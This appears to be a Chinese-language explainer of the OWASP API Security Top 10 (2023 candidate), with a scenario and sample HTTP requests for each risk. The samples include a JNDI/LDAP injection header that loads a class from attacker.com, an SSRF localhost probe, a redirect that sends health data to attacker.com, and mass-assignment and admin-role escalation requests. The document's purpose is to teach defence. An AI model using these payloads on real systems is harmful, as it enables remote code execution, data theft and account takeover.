伴随企业数字化程度的加深，API成为软件世界数据交互的“通用语言”，其数量迎来爆发式增长。同时，API的广泛应用也为运维可见性、安全性提出了新的挑战。针对API这种“易攻难守”的新兴资产的安全治理显得愈发重要。

OWASP为强调API安全的重要性，在2019年首次提出了API Security Top 10。后随着安全产业实践加深，于2023年发布了API Security Top 10（候选版）的内容更新。该更新内容进一步强调了API攻击场景与Web攻击的差异化，突出API权限管理、资产管理、业务风控及供应链问题。

主要变化如下图所示：

1. 针对身份认证漏洞，越来越多的服务提供商开始将身份认证范围从对人的认证变为对“人+机”的认证。这意味着除了对用户身份进行验证外，还需结合设备、环境等其他因素来进行身份认证。这种方式相比传统的单一身份认证方式更安全可靠，可以有效避免伪造、冒用等攻击手段。

2. 增加了“服务端请求伪造漏洞”内容，说明这是一种非常危险的安全漏洞，攻击者可以利用该漏洞窃取敏感信息、发起内网攻击、进行DoS攻击等，同时表明了在服务端请求处理过程中，输入验证与过滤的重要性。加强对SSRF漏洞的防范，可以有效提高应用程序的安全性。

3. 随着人工智能、机器学习等技术的发展，自动化攻击手段也变得越来越普遍和复杂。自动化攻击可以通过机器学习算法、大数据分析、自动化工具等方式，快速、准确地扫描目标系统漏洞或发起攻击，对系统造成严重威胁。增加了“缺少对自动化威胁的防护”内容，说明在实际应用中，很多企业缺乏对自动化攻击的防护措施，存在一定的安全风险。而不安全的第三方API可能会导致系统遭受攻击，企业需要加强安全意识，选择可信赖的服务提供商，进行充分的安全测试和验证，限制API的权限并监控API的使用情况，可以保障系统的安全性。

这些趋势变化说明了在信息化和数字化快速发展的时代，传统的身份验证方式已经无法满足日益增长的安全需求，需要采用更多元化、智能化的身份认证方式来提高系统、服务、数据的安全性。

以下是本次API Security Top 10 2023版的详细解析：

1. 对象级别授权失效(Broken Object Level Authorization)：无变化

对象级授权是一种访问控制机制，其作用是校验用户是否能够访问特定的对象。这种授权通常在代码层面实现，以确保用户只能访问他们有权利访问的对象。但是，如果API存在“失效的对象级授权”漏洞，攻击者就可以通过改变请求中的对象ID来绕过授权限制，从而获取敏感数据或者完全掌控账户。这个漏洞在基于API的应用程序中非常普遍，因为服务器通常无法跟踪完整的用户状态，而是依赖于请求参数中的对象ID来决定哪些对象可以被用户访问。

场景案例：

在线文档存储服务允许用户上传、查看、编辑和删除他们的文件。当用户想要删除一个文件时，系统会将对应文件的ID传递给API，以便系统确定要删除哪个文件。

POST /graphql
{
  "operationName":"deleteReports",
  "variables":{
    "reportKeys":["<DOCUMENT_ID>"]
  },
  "query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!) {
    {
      deleteReports(reportKeys: $reportKeys)
    }
  }"
}

因为在线文档存储服务在删除文件时只依赖文件的ID，没有进行其他的权限检查，所以用户有可能会能够删除其他用户上传的文档。也就是说，如果攻击者知道其他用户文档的ID，那么他们就可以利用这个漏洞来删除其他用户的文件。

2. 身份认证失效(Broken Authentication)：更新，从对用户本身的认证，将范围扩展到“人机”范围。

身份验证机制是保护API安全的重要措施，它可以防止未经授权的用户访问系统。但是，有些实现方式可能不够严格或者考虑不完全，使得攻击者有可能破坏或伪造身份验证令牌，或者利用漏洞来盗用其他用户的身份。

场景案例：

用户要更新他们账户关联的电子邮件地址，那么客户端需要发送一个特殊的API请求：

PUT /account
Authorization: Bearer <token>
{ "email": "<new_email_address>" }

由于API没有要求用户提供当前的密码来确认身份，攻击者就有可能通过窃取身份验证令牌来伪装成其他用户。他们也可能会在更新受害者账户的电子邮件地址时实施攻击，从而接管受害者的账户。

3. 对象属性级别授权失效(Broken Object Property Level Authorization)：更新，将之前“过度的数据暴露(Excessive Data Exposure)”和“批量分配(Mass Assignment)”的内容进行了合并。

对象属性级别授权失效是指在访问控制系统中，授权规则没有按照预期的要求来实现，这可能会导致安全漏洞。通常，在访问控制系统中，对象属性级别授权非常重要，它可以确保用户只能够访问他们具有权限的资源和信息。如果这个授权失效了，攻击者就有可能访问到他们没有权限访问的信息或资源，从而对系统构成威胁。

场景案例：

在基于短视频的社交网络中，有一些限制性内容需要进行过滤和审查。即使上传的视频被系统拦截了，用户还是可以通过以下API请求来修改视频的描述信息。

PUT /api/video/update_video
{"description":"a funny video about cats"}
{"description":"a funny video about cats","blocked":false}

这就意味着，如果用户上传不良内容的视频并通过修改描述信息的方式绕过系统审查。

4. 资源消耗无限制(Unrestricted Resource Consumption)：更新，涉及到应用层DoS，强调了后果（后端资源耗竭/云平台欠费等）。

API请求需要使用网络、CPU、内存和存储等资源，如果没有对客户端/用户可以请求的资源大小或数量进行限制，就可能会导致API服务器性能下降，最终引起拒绝服务攻击（DoS）。攻击者可以发送大量请求来消耗API服务器的资源，甚至通过暴力破解方式来突破安全措施，从而造成损失。

场景案例：

攻击者会发送一个POST请求到/api/v1/images，上传大图片。API在收到这个请求后，会创建多个缩略图，每个缩略图大小不同。然而，由于上传的图片太大了，API在创建缩略图的过程中用尽了所有可用的内存，导致系统变得无响应。

5. 功能级授权失效(Broken Function Level Authorization)：无变化。

攻击者可以利用漏洞来发送一些本不允许他们访问的API请求，这可能会导致一些合法的API请求被暴露给未经授权的匿名用户或普通用户。由于API有着固定的结构和操作方式，攻击者更容易发现其中的缺陷（例如将HTTP方法从GET替换为PUT，或者将URL中的“用户”字符串更改为“管理员”），从而利用这些漏洞来突破系统安全限制。

场景案例：

在某些只允许邀请用户注册的应用程序中，移动应用程序会触发一些API调用，以便用户能够加入。这个响应会返回一个包含邀请详细信息（如用户角色和电子邮件）的JSON文件，攻击者会复制这个请求，并改变HTTP方法和参数。攻击者就利用这个漏洞来冒充管理员身份，并通过发送新的邀请来获取管理员权限。

POST /api/invites/new
{"email":"[email protected]","role":"admin"}

最后攻击者使用操纵的请求来创建自己的管理员帐户，并获得对系统的完全访问权限。

6. 服务端请求伪造(Server Side Request Forgery)：新增。

攻击者利用漏洞或安全控制不严格的应用程序，向目标服务器发送伪造的请求，并从中获取敏感信息或执行未经授权的操作。攻击者可以通过找到需要提供URI（即URL地址）作为参数的API端点来实施这种攻击，然后访问提供的URI。成功地利用此漏洞可能会导致内部服务枚举（例如端口扫描）或信息泄露，并可能绕过防火墙或其他安全机制。在某些情况下，它可能导致DoS或服务器被用作隐藏恶意活动的代理。

场景案例：

在某些社交网络中，用户可以上传个人资料图片。当用户要上传图片时，他们可以选择两种方式：一是从本地计算机上传图片文件，二是提供一个图片的URL链接。如果用户选择了第二种方式，那么会触发以下API调用。

POST /api/profile/upload_picture
{"picture_url":"http:///example.com/profile_pic.jpg"}

攻击者可以通过发送恶意的URL链接来入侵使用API终结点的内部网络。

{"picture_url":"localhost:8080"}

攻击者可以通过检查API返回响应的时间来判断系统中某个端口是否打开或关闭。如果端口是打开状态，那么API响应请求会很快回复，反之则会花费更长的时间进行响应。攻击者可以利用这种方式来获取有关目标系统的信息，从而更好地计划他们的攻击策略。

7. 安全配置错误(Security Misconfiguration)：无变化。

安全配置错误是最常见的安全问题，这通常是由于不安全的默认配置、不完整的临时配置、开源云存储、错误的HTTP标头配置以及包含敏感信息的详细错误信息所造成的。安全配置错误不仅会暴露敏感用户数据，还包括系统细节，而这些细节可能导致服务器完全被控制。

这些错误配置可能存在于API资源、传输协议或应用程序基础架构中。包括如：未强制执行HTTPS、不必要的HTTP方法、错误配置的HTTP标头、未净化处理的输入导致数据受损、数据泄露、详细冗长的错误消息、临时配置、跨域资源共享、缺少安全补丁等。

场景案例：

API后端服务器使用了一些流行的第三方编写的访问日志来记录用户请求和响应信息。这些记录工具支持占位符扩展和JNDI查找，每个请求都会产生一个新的日志条目，记录下请求的详细信息，例如请求时间、请求类型、请求者IP地址等。这些日志数据可以帮助开发人员进行调试和性能优化，并且也可以用于安全审计和故障排除。

<method> <api_version>/<path> - <status_code>

攻击者发出以下API请求，该请求将写入访问权限日志文件：

GET /health
X-Api-Version: ${jndi:ldap://attacker.com/Malicious.class}

由于日志记录实用程序的默认配置不够安全，并且网络出站策略太宽松，攻击者可以将恶意代码写入API请求中，然后通过访问日志记录工具来执行恶意代码。

8. 缺少对自动化威胁的防护(Lack Of Protection From Automated Threats)：新增，原版“注入(Injection)”被删除。

缺少对自动化威胁的防护意味着在网络安全系统中缺乏有效的机制来检测和防御自动化攻击，这可能会导致重大安全风险。自动化攻击是指使用自动化工具和技术，如恶意软件、蠕虫病毒、僵尸网络等，对计算机系统、网络设备和应用程序进行攻击。这些攻击通常可以通过大规模的、自动化的方式进行，从而产生更广泛和更严重的影响。例如，操作僵尸网络的攻击者绕过速率限制，因为他们可以从数千个位置/IP轻松访问API。

场景案例：

一家科技公司宣布即将发布一款新的游戏机，这款产品的需求非常大，库存数量有限。攻击者通过自动化威胁方式，将恶意代码插入到自动购买该新游戏机并完成交易的程序中。在游戏机发布当天，攻击者利用分布在不同IP地址上的恶意代码，先于其他人购买了大部分的游戏机股票。因为API没有实现适当的保护措施，所以攻击者可以轻松地抢占其他人的股票。之后，攻击者以更高的价格将这些游戏机转售到另一个平台上。

9. 存量资产管理不当(Improper Assets Management)：更新，强调了“未下线的老版本API/临时调用API”风险的暴露面。

存量资产管理不当是指企业没有对其现有的IT资源（包括硬件、软件、网络设备等）进行有效管理和监控。这会导致一些旧的或者不再使用的IT资源没有被及时清理，而这些资源可能存在安全漏洞，被黑客利用入侵企业系统。此外，未经管理的存量资产也可能使企业面临更高的运营成本和维护难度。

场景案例：

社交网络允许独立应用程序的开发人员与之集成，这个过程需要用户同意分享他们的个人信息。然而，社交网络和独立应用程序之间的数据流缺乏监控和限制，这使得独立应用程序可以访问用户信息，甚至是用户朋友的私人信息。

一家咨询公司建立了一个恶意应用程序，并成功地获取了270,000个用户的授权。由于这个漏洞，咨询公司能够访问50,000,000名用户的私人信息。最终，该咨询公司因为恶意目的出售了这些信息，给用户带来了巨大的隐私风险。

10. 不安全的第三方API(Unsafe Consumption Of APIS)：新增，原来“日志和监控不足(Insufficient Logging&Monitoring)”被删除。

不安全的第三方API是指企业使用的来自第三方供应商的API存在一些安全漏洞或者没有被充分保护，这使得黑客可以利用它们来入侵企业系统或者窃取用户数据。第三方API可能会因为开发者的错误、不安全的默认配置或者未经验证的代码而导致安全漏洞。

场景案例：

API与第三方服务提供商集成了用户的医疗敏感信息。数据使用HTTP通过安全链接发送请求如下：

POST /user/store_phr_record
{ "genome": "ACTAGTAG__TTGADDAAIICCTT…" }

攻击者找到了一种破坏第三方API的方法，使用308重定向响应与上一个类似的请求。

HTTP/1.1 308 Permanent Redirect
Location: https://attacker.com/

由于API盲目地遵循第三方重定向，攻击者可以在其中插入恶意代码。这使得API会重复发送用户的请求和敏感数据到攻击者的服务器上，而不是原来的目标服务器上。攻击者可以利用这些数据进行各种恶意行为，例如窃取用户信息、入侵企业网络等。

从以上最新的API Security Top 10（候选版），可以看到，现在API安全和传统的Web安全有很大区别，一方面需要在设计和开发阶段，对API的安全性进行良好的构建和设计；另一方面还需要在进入运维阶段后，针对API进行专项型的防护，根据API的特点构建全生命周期的防护体系，从而更好地应对各类风险，做到未雨绸缪、防患于未然。